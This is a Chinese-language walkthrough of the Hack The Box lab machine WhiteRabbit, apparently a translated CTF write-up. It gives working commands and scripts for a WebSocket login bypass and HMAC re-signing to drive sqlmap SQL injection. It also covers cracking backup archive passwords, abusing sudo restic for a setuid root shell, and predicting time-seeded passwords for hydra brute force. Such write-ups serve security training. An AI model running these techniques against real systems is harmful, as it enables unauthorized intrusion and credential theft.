HTB: WhiteRabbit
Box Info
| 项目 |
内容 |
| 名称 |
WhiteRabbit |
| 发布日期 |
2025年4月5日 |
| 退役日期 |
2025年12月13日 |
| 操作系统 |
Linux |
| 难度等级 |
疯狂 [50] |
| 创建者 |
FLX0x00 |
侦察
初始扫描
nmap发现三个开放的TCP端口:SSH(22,2222)和HTTP(80):
1
2
3
4
5
|
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.63
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
2222/tcp open EtherNetIP-1 syn-ack ttl 62
|
端口80和2222需要额外一跳才能到达,暗示存在容器或VM:
1
2
3
4
5
|
oxdf@hacky$ sudo lft 10.10.11.63:80
TTL LFT trace to 10.10.11.63:80/tcp
1 10.10.14.1 22.4ms
2 10.10.11.63 22.2ms
3 [target open] 10.10.11.63:80 22.5ms
|
子域名暴力破解
使用ffuf发现子域名status:
1
2
|
oxdf@hacky$ ffuf -u http://10.10.11.63 -H "Host: FUZZ.whiterabbit.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
status [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 29ms]
|
whiterabbit.htb - TCP 80
站点分析
该站点是一家渗透测试公司的网站,提到使用n8n进行自动化、GoPhish和Stalwart进行钓鱼攻击,以及Uptime Kuma进行基础设施监控。
技术栈
HTTP响应头显示使用Caddy服务器:
status.whiterabbit.htb - TCP 80
站点分析
这是Uptime Kuma实例的登录页面。
技术栈
Uptime Kuma使用Socket.IO进行客户端与服务器之间的通信。
获取容器上的bob shell
Uptime Kuma登录绕过
尝试登录Uptime Kuma时,登录数据通过WebSocket消息发送。通过Burp拦截响应并将false改为true可以绕过登录验证。
版本信息
在Settings > About中发现版本为1.23.13。
状态页面暴力破解
使用feroxbuster发现状态页面:
1
2
|
oxdf@hacky$ feroxbuster -u http://status.whiterabbit.htb/status
200 GET 41l 152w 3359c http://status.whiterabbit.htb/status/temp
|
/status/temp页面泄露了两个新域名:
- GoPhish: ddb09a8558c9.whiterabbit.htb
- WikiJS: a668910b5514e.whiterabbit.htb
SQL注入
WikiJS文档
WikiJS页面包含关于钓鱼自动化的文档,描述了一个n8n工作流程:
- GoPhish向n8n发送包含活动ID、电子邮件和操作类型的POST请求
- 从POST请求中获取签名并验证数据签名
- 数据库查询获取当前钓鱼分数
- 根据数据更新数据库中的钓鱼分数
文档提供了示例POST请求和n8n流程的JSON导出,其中显示签名使用SHA256 HMAC生成,密钥为3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS。
识别SQL注入
SQL查询中存在用户输入注入漏洞:
1
|
SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1
|
sqlmap利用
使用mitmproxy创建签名代理脚本signature_proxy.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
#!/usr/bin/env python3
import hmac
import hashlib
import json
from mitmproxy import http
SECRET = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
def request(flow: http.HTTPFlow) -> None:
if flow.request.content:
try:
data = json.loads(flow.request.content)
body = json.dumps(data, separators=(',', ':')).encode()
except json.JSONDecodeError:
body = flow.request.content
signature = hmac.new(SECRET, body, hashlib.sha256).hexdigest()
flow.request.headers["x-gophish-signature"] = f"sha256={signature}"
|
运行sqlmap进行注入:
1
|
oxdf@hacky$ sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" --proxy=http://127.0.0.1:8888 --method=POST --data='{"campaign_id":1,"email":"test","message":"Clicked Link"}' --headers="Content-Type: application/json" -p email --dbms mysql --batch --flush-session
|
数据库转储
发现temp数据库中的command_log表包含重要命令:
1
2
3
4
5
6
7
8
9
10
|
+----+---------------------+------------------------------------------------------------------------------+
| id | date | command |
+----+---------------------+------------------------------------------------------------------------------+
| 1 | 2024-08-30 10:44:01 | uname -a |
| 2 | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb |
| 3 | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd |
| 4 | 2024-08-30 11:59:02 | rm -rf .bash_history |
| 5 | 2024-08-30 11:59:47 | #thatwasclose |
| 6 | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+
|
Restic备份
恢复备份
使用restic客户端列出可用快照:
1
2
3
4
5
|
oxdf@hacky$ RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw restic -r rest:http://75951e6ff.whiterabbit.htb snapshots
ID Time Host Tags Paths
------------------------------------------------------------------------
272cacd5 2025-03-07 00:18:40 whiterabbit /dev/shm/bob/ssh
------------------------------------------------------------------------
|
恢复文件:
1
|
oxdf@hacky$ RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw restic -r rest:http://75951e6ff.whiterabbit.htb restore 272cacd5 --target ./restic/
|
破解7z压缩包
使用7z2john创建哈希并使用hashcat破解:
1
2
|
oxdf@hacky$ /opt/john/run/7z2john.pl restic/dev/shm/bob/ssh/bob.7z | tee bob.7z.hash
oxdf@hacky$ hashcat bob.7z.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user
|
密码破解为1q2w3e4r5t6y,解压后获得SSH密钥。
SSH连接
使用获得的SSH密钥连接到容器:
1
2
3
|
oxdf@hacky$ ssh -i bob -p 2222 bob@whiterabbit.htb
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-57-generic x86_64)
bob@ebdce80611e9:~$
|
获取容器上的root权限
枚举
容器IP地址为172.17.0.2,bob用户可以无密码运行restic:
1
2
3
|
bob@ebdce80611e9:~$ sudo -l
User bob may run the following commands on ebdce80611e9:
(ALL) NOPASSWD: /usr/bin/restic
|
利用
使用restic的--password-command参数执行命令:
1
2
3
4
|
bob@ebdce80611e9:~$ sudo restic check --password-command 'cp /bin/bash /tmp/0xdf'
bob@ebdce80611e9:~$ sudo restic check --password-command 'chmod 6777 /tmp/0xdf'
bob@ebdce80611e9:~$ /tmp/0xdf -p
0xdf-5.2#
|
获取WhiteRabbit上的morpheus shell
在容器/root目录中找到SSH密钥对,使用私钥连接到主机:
1
2
3
|
oxdf@hacky$ ssh -i morpheus morpheus@whiterabbit.htb
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64)
morpheus@whiterabbit:~$
|
获取WhiteRabbit上的neo shell
枚举
发现自定义密码生成器:
1
2
|
morpheus@whiterabbit:/opt/neo-password-generator$ ./neo-password-generator
dQbHBUTiPP2Y8Q3ErtQ1
|
逆向工程
使用Ghidra分析二进制文件,发现密码生成逻辑:
- 使用
gettimeofday获取时间戳
- 将时间戳作为随机数种子
- 从字符集生成20个字符的密码
生成密码
使用Python的ctypes模块模拟C的rand函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#!/usr/bin/env python3
import sys
import ctypes
from datetime import datetime
libc = ctypes.CDLL("libc.so.6")
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def generate_password(seed: int) -> str:
libc.srand(seed)
password = ""
for _ in range(20):
password += CHARSET[libc.rand() % 62]
return password
|
使用数据库中的时间戳生成密码列表,并使用hydra暴力破解:
1
2
|
oxdf@hacky$ hydra -l neo -P neo_passwords_py ssh://whiterabbit.htb
[22][ssh] host: whiterabbit.htb login: neo password: WBSxhWgfnMiclrV4dqfj
|
成功登录:
1
2
|
oxdf@hacky$ sshpass -p WBSxhWgfnMiclrV4dqfj ssh neo@whiterabbit.htb
neo@whiterabbit:~$
|
获取WhiteRabbit上的root权限
neo用户可以无限制使用sudo:
1
2
3
|
neo@whiterabbit:~$ sudo -l
User neo may run the following commands on whiterabbit:
(ALL : ALL) ALL
|
获取root shell:
1
2
|
neo@whiterabbit:~$ sudo -i
root@whiterabbit:~#
|